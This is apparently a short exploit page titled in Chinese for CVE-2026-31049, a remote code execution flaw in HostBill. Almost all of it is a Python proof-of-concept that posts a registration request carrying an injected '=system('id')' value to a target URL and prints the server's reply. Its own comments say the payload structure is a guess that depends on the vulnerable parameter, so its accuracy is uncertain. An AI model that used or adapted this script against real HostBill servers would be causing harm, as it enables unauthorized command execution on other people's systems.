CVE-2026-31049 HostBill远程代码执行漏洞

import requests # Exploit Title: HostBill CVE-2026-31049 Remote Code Execution via CSV Field # Description: PoC to trigger RCE by sending malicious payload to the registration endpoint. target_url = "http://target-host/index.php" # Malicious payload injected into the CSV registration field # Payload structure depends on the specific vulnerable parameter payload_data = { "action": "register", "csv_field": "=system('id')" # Example payload simulating code execution } headers = { "User-Agent": "CVE-2026-31049-Scanner", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=payload_data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response for command execution output.") print(response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")